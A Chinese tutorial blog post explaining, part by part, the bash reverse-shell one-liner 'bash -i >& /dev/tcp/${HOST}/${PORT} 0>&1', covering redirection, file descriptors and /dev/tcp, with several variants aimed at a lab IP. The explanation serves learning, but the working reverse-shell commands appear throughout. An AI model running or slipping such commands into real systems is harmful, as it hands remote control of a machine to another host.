花一天时间搞懂反弹shell的命令!bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1!

一、反弹shell命令

1、bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1
[1]、bash -i
(1)、bash是什么?参考网络上的解释和man方法中的解释(man就是一个命令帮助手册)
# man帮助手册
Bash  is  an  sh-compatible  command language interpreter that executes commandsread from the standard input or from a file.
Bash是一个与sh兼容的命令语言解释器,用于执行读取的命令从标准输入或从文件。

# CSDN博主「Croxd」分享
Shell:一般我们是用图形界面和命令去控制计算机,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),由于安全、复杂、繁琐等原因,用户不能直接接触内核,需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核,内核和用户之间就多了一层“中间代理”,Shell 其实就是一种脚本语言,也是一个可以用来连接内核和用户的软件,我们编写完源码后不用编译,直接运行源码即可。

常用的Shell:bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh。

# 版权声明:本文为CSDN博主「Croxd」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
# 原文链接:https://blog.csdn.net/weixin_42432281/article/details/88392219
(2)、bash -i是什么?
# man帮助手册
1.-i        If the -i option is present, the shell is interactive.
2.以交互模式打开一个bash,但是不加这个选项好像也可以?
3.总之,使用这一条命令后就打开了一个新的shell环境。
4.可以使用echo $$ 命令输出当前会话shell进程的PID(process id),就可以发现它和之前的bashpid不同,它是一个新的pid
5.也可以使用ps -ef 命令来查看,具体如下
6.ps -ef | grep bash(查找所有的bash进程)
7.对比执行bash -i 命令前后是否多出了一个bash进程,并使用echo $$查看它们的PID
(3)、ps命令解析
# what is ps?
ps 命令的全称是“Process Status”,即进程状态。它是 Unix 和类 Unix 操作系统中常用的工具,用于查看当前系统中正在运行的进程的状态和信息。

# the arguments of ps
使用 -e 参数可以显示系统中所有进程,而不仅仅是当前用户的进程。这将包括系统守护进程、后台进程等。
使用 -f 参数可以以完整的格式显示进程信息,包括进程的详细信息,如用户、PID、PPID、CPU 使用率、启动时间等。
(4)、grep命令解析
# what is grep?
grep 命令的全称是“Global Regular Expression Print”,即全局正则表达式打印。它是一个在 Unix 和类 Unix 系统中常用的文本搜索工具。

# how to use it?
grep 命令可以根据指定的正则表达式模式,在文件中搜索匹配该模式的行,并将匹配到的行打印出来。它可以用于快速查找和筛选文本文件中符合特定条件的内容。

在使用 grep 命令时,你可以指定要搜索的文件、搜索模式以及其他选项。例如,grep "pattern" file.txt 可以在文件 file.txt 中搜索匹配 "pattern" 的行,并将其打印出来。

# the arguments of grep
grep 命令的一些常用选项包括:

-i:忽略大小写。
-v:反向匹配,只输出不匹配的行。
-r:递归搜索目录下的所有文件。
-l:只输出包含匹配项的文件名。
除了基本的文本搜索功能,grep 命令还支持更复杂的正则表达式、多文件搜索、排除特定文件等功能,使其成为一个强大且灵活的文本处理工具。

总之,grep 命令是一个常用的文本搜索工具,可以帮助你在文件中查找和提取符合特定模式的内容。
[2]、>&
(1)、重定向
# 什么是重定向
1.使用>符号,我们可以将一个命令的输出重定向写入到一个文件中,例如
echo 0 > test.txt
2.此时使用cat test.txt命令查看文件内容,就可以看到我们写入的0字符
(2)、文件描述符
# 什么是文件描述符? CSDN博主「程序猿渣渣帅」分享
在 shell 程式中,最常使用的 FD (file descriptor) 大概有三个, 分别是:
0 是一个文件描述符,表示标准输入(stdin)
1 是一个文件描述符,表示标准输出(stdout)
2 是一个文件描述符,表示标准错误(stderr)

在标准情况下, 这些FD分别跟如下设备关联: 
stdin(0): keyboard 键盘输入,并返回在前端 
stdout(1): monitor 正确返回值 输出到前端 
stderr(2): monitor 错误返回值 输出到前端

#版权声明:本文为CSDN博主「程序猿渣渣帅」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
#原文链接:https://blog.csdn.net/l1394049664/article/details/81710705

# 什么是>&?
首先我们来记住一个换算表
echo 0 >& test.txt = echo 0 &> test.txt = echo 0 > test.txt 2>&1 = echo 0 1> test.txt 2>&1
注意!在上面的例子中的最后一个式子,我们做了这些操作
1.我们输出了一个0,并将它的标准输出1>重定向到test.txt文件中
2.之后使用2>&1,将标准错误输出重定向到标准输出中
3.所以这时后我们执行的命令就会将它的所有输出都写入test.txt中,无论命令执行正确或错误,而以上的等式都是最后一条命令的简写

# 实践出真知!
1.口说无凭,我们来验证一下,先执行echo 0命令
[root@ito ~]# echo 0 1> test.txt 2>&1

2.并且cat输出test.txt的内容,发现正常
[root@ito ~]# cat test.txt 
0

3.现在我们实验用一个错误的命令lll,先看看这个命令正常执行的样子,它会将报错结果输出到终端
[root@ito ~]# lll
-bash: lll: command not found

4.之后我们将这个命令和上面的等式结合起来,并执行,发现没有报错,因为我们将错误输出重定向到了1,也就是标准输出中,而我们又将1,标准输出重定向到了test.txt文件中,所以报错信息应该在test.txt文件中
[root@ito ~]# lll 1> test.txt 2>&1
[root@ito ~]# 

5.此时查看文件,得到了我们预期的结果
[root@ito ~]# cat test.txt
-bash: lll: command not found
[3]、/dev/tcp/${HOST}/${PORT}
(1)、万物皆文件
# 什么是万物皆文件?
在linux系统中,所有东西都被视为文件,包括进行网络连接的接口。所以我们如果想要和其他主机建立连接,就需要通过读写文件的方式来建立这个连接
(2)、连接/dev/tcp/${HOST}/${PORT}
# what is that?
这条命令是用于对主机${host}上的${port}端口建立一个tcp连接,注意我在这里用的是一个变量,你需要根据实际情况填写这些参数

# how it work? CSDN博主「whatday」分享
Linux中的一个特殊文件: /dev/tcp  打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

我们可以通过重定向实现基于tcp/udp协议的软件通讯,/dev/tcp/host/port  只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。

如果主机以及端口存在,就建立一个socket 连接,将在 /proc/self/fd 目录下面,有对应的文件出现。

# 版权声明:本文为CSDN博主「whatday」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
# 原文链接:https://blog.csdn.net/whatday/article/details/103556815

# 总结
总之,只要我们对这个文件进行读写,我们的linux就会尝试连接这个主机的这个端口,而读写,就是我们的交互
[4]、0>&1
(1)、输入重定向到输出
# what is that? 现在我们需要结合完整的命令来理解
1.这是反弹shell的命令:bash -i >& /dev/tcp/${HOST}/${PORT} 0>&1
2.0>&1用来将你的输入重定向到标准输出
3.翻译这句代码就是,创建一个新的shell,并且将标准输出和错误输出重定向到这个连接,之后0>&1用来将你的输入重定向到标准输出,那么也就是说,我们将标准输入,标准输出,错误输出都重定向到这个连接中,那么就可以在另外一台主机上获得这一台主机这个bash的输入和输出了

# 实践出真知
Q:将标准输出重定向到远程,会有说明效果?
bash -i > /dev/tcp/192.168.225.134/6666 
A:结果是我们的标准输出都到了远程,但是标准输入和错误输出都显示在本地
Q:如果我们执行这一段命令,只将错误输出重定向到连接,会有什么效果?
bash -i 2> /dev/tcp/192.168.225.134/6666 
A:这样的话会将输入和标准输出的控制权留在本地主机,但是错误输出回显在远程主机上,并且我们的输入也会显示在远程主机上(这只能说明输入的显示也属于错误输出)
Q:这一条语句会有什么效果呢?
bash -i >& /dev/tcp/192.168.225.134/6666 
A:远程主机只有回显,本地主机只有输入权,所以为了远程主机有输入权,就要加上0>&1将输入也重定向到远程主机
Q:那为什么不能像下面这样写呢?
bash -i 0>&1 >& /dev/tcp/192.168.225.134/6666 
A:因为bash命令从左向右执行,先执行0>&1,此时将输入重定向到输出,但是此时的输出就是本地输出,所以等于没有执行,之后再将标准输出和错误输出重定向到远程主机,自然就没有效果了,所以这个代码的效果和bash -i >& /dev/tcp/192.168.225.134/6666这一条一样
(2)、实在不懂的话…
# 笔者才疏学浅,这个东西还是要多练,光看应该很难懂。但更怪我讲的不好,附上搜索的一些资料,希望对你有帮助

# linux中国对“&”符号的讲解
https://zhuanlan.zhihu.com/p/58419951
# 反弹shell命令详解
https://www.cnblogs.com/pandana/p/16289320.html
# linux shell /dev/tcp/${HOST}/${PORT} 简介
https://blog.csdn.net/whatday/article/details/103556815

你可能感兴趣的:(bash,tcp/ip,chrome)